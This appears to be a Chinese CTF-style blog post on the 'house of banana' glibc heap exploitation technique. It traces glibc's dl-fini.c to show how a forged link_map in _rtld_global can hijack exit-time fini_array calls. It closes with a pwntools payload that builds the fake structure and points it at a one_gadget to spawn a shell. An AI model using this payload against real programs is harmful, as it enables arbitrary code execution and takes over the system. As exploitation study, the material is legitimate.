house of banana

文章发布时间:

最后更新时间:

文章总字数:
1.1k

预计阅读时间:
4 分钟

前言

功能十分强大的一个house of 系列 可以执行onegadget或者是system(“/bin/sh”)来获取shell
原理是通过largebinattack把chunk_addr覆盖程序执行exit时所需要的结构体 进行伪造 这样就可以劫持exit函数

源码分析

我们在之前的栈部分学习中 学过篡改fini_array 来进行一个重复执行main函数

但是其利用需要关闭RELRO保护 然而堆题基本都是保护全开 所以很少用到 今天来学习一下伪造fini_array赋值用到的结构体 从而控制程序exit时的程序执行流

image-20230324172120454

利用源码调试 可以知道 fini_array是在/elf/dl-fini.c的139行被调用的 那么我们跟进一下源码 看一下赋值逻辑

1
2
3
4
5
6
7
8
9
10
    if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}`

array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr)

貌似和l这个链表有关 朔源一下l的定义

struct link_map *l = maps[i]

继续朔源一下maps数组的赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
define GL(name) _rtld_global._##name

for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}

maps的赋值和GL(dl_ns)[ns]._ns_loaded这个结构体有关系 所以我们只需要伪造该结构体 就能操控maps的值 从而操控

fini_array的内容

每一次for循环后l的赋值可以看出来其是一个链表 看其他师傅的介绍是必须有四个元素 也就有两种做法 截取第一个节点开始伪造 或者是从第三个节点开始伪造 前者伪造的更加麻烦 这里先来介绍后者的

劫持第三个节点

首先需要获得第三个节点的位置 采用计算和_rtld_global结构体的偏移来得到

1
distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)

接着为了进入if分支 我们还需要通过第一个判断

1
l == l->l_real

也就是在fake+0x28处需要写入fake地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

for循环中还有这样一段 为了使for循环顺利执行 我们同样需要绕过这里的if判断

需要绕过l->l_init_called 不过这里貌似不能是个1就行 需要伪造成其原本的值 和上面的一样 查一下偏移和所需要的值

1
2
distance _rtld_global._dl_ns[0]._ns_loaded  &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
x/wx &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called

第二个if用的是或 通过一个就行了 这里选第一个 可以一并绕过下一个if

l->l_info[DT_FINI_ARRAY] != NULL

同时注意一下下面maps赋值的操作

1
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

fini_array的值由l->l_info[DT_FINI_ARRAY]决定

我们还需要控制i的值 i由下面这个式子得到

1
i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))
1
distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])

这里的i跟随着系统原本的布局

image-20230324204525562

并且你会发现 i的值应该是存放在对应偏移地址的下一个字长处

image-20230324204609677

同理可得 我们还需要关注一下l->l_info[DT_FINI_ARRAY]需要怎么构造

image-20230324204658884

同样是需要把地址放在下一个字长处 并且需要经过两次跳转

总结一下就是按照下面这样构造 这里的偏移因人而异 我把所有的偏移都减去了0x10 是因为fake是从chunk头开始算的 而edit是从chunk的用户空间开始

1
2
3
4
5
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(onegadget_addr)
payload = payload.ljust(0x100,b'\x00')+p64(fake_addr+0x40)
payload = payload.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
payload = payload.ljust(0x31c-0x10,b'\x00')+p64(0x1c)

更加详细的流程可以看这位师傅的博客 我只是做个总结

house_of_banana源码分析 | Blog of cat03 (giles-one.github.io)